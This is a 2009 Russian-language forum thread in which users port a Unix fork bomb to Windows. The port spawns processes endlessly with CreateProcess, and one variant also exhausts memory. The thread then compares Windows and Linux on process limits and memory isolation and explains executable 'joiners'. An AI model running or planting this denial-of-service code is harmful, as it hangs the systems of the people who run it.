Код: Выделить всё
#include <unistd.h>
int main()
{
while(1)fork();
}Нужно перенести программу на Windows.
PS. Запускать не рекомендую.
Модератор: Модераторы разделов
Код: Выделить всё
#include <unistd.h>
int main()
{
while(1)fork();
}frp писал(а): ↑08.06.2009 10:44Есть программа:
Код: Выделить всё
#include <unistd.h> int main() { while(1)fork(); }
Нужно перенести программу на Windows.
PS. Запускать не рекомендую.
Код: Выделить всё
#include <windows.h>
#include <stdio.h>
#include <tchar.h>
void _tmain( int argc, TCHAR *argv[] )
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory( &si, sizeof(si) );
si.cb = sizeof(si);
ZeroMemory( &pi, sizeof(pi) );
while(1)
{
CreateProcess( NULL,argv[0],NULL,NULL,FALSE,0,NULL,NULL,&si,&pi);
}
}Женя Подсыпальни... писал(а): ↑08.06.2009 15:33Можно выставить _T("notepad.exe") во втором параметре... smile.gif
Код: Выделить всё
#include <windows.h>
#include <stdio.h>
#include <tchar.h>
void _tmain( int argc, TCHAR *argv[] )
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory( &si, sizeof(si) );
si.cb = sizeof(si);
ZeroMemory( &pi, sizeof(pi) );
while(1)
{
CreateProcess( NULL,argv[0],NULL,NULL,FALSE,0,NULL,NULL,&si,&pi);
int size;
for( size = 0xfffff; size > 0; size >>= 1 ) {
HGLOBAL global = GlobalAlloc(GHND, size);
if( global )
break;
}
}
}Код: Выделить всё
for( int i = 0;; ++i ) {
GlobalAlloc(GHND, 1)
Sleep(i >> 3);
}Код: Выделить всё
for( int i = 0;; ++i ) {
GlobalAlloc(GHND, 0);
}frp писал(а): ↑14.06.2009 13:44Еще очень интересный вопрос - возможно ли подменить системные библиотеки, содержащие API-функции так, чтобы система при этом хотябы нормально загрузилась? Можно ли подменить эти самые библиотеки только для некоторых процессов?
...
Меньше, и намного:
1) linux от простого пользователя повесить довольно-таки сложно (это касается ядер 2.6 - раньше лимита на количество процессов не было).
2) linux не позволит писать в память другого процесса.
3) простой пользователь сможет навредить себе, но не системе.
4) даже от рута систему проще снести, чем повесить.
5) реально можно повесить linux при помощи модуля ядра, но оно того не стоит.
6) я не видел под linux joinerов.
NickLion писал(а): ↑14.06.2009 18:433) в висте, если пользователь не дурак и не отключил UAC или работает не под админом, то системе процесс тоже не навредит, только вот как обчно - самое ценное - это пользовательские данные, а что мне система? - переставил и все. вот когда после неправильного разбиения диска пропал home мне было все-равно, что root уцелел. сидел с dd, hexdump и grep - искал начало home (ибо gpart не нашло ничего) smile.gif
frp писал(а): ↑14.06.2009 21:30Я когда-то делал программу специально для проверки этой возможности - она пробовала писать в память, которая процессу не принадлежит. В windows она нормально писала в адресное пространство другой программы, а в Linux это не удалось.
Хотя в Linux 2.6.17-2.6.24 был один дирявый системный вызов, который мог писать в память ядра изза того, что там не сделали проверки на адрес памяти.
frp писал(а): ↑14.06.2009 21:30joiner есть программа, позволяющая склеить два екзешника в один так чтобы при его запуске в одном потоке выполнялось то, что раньше содержалось в первом екзешнике, а в другом - то что в другом екзешнике. Эти программы действуют очень просто - прописывет в заголовке екзешника сегменты из двух других. Теоретически такие программы можно и под Linux написать, но я не видел.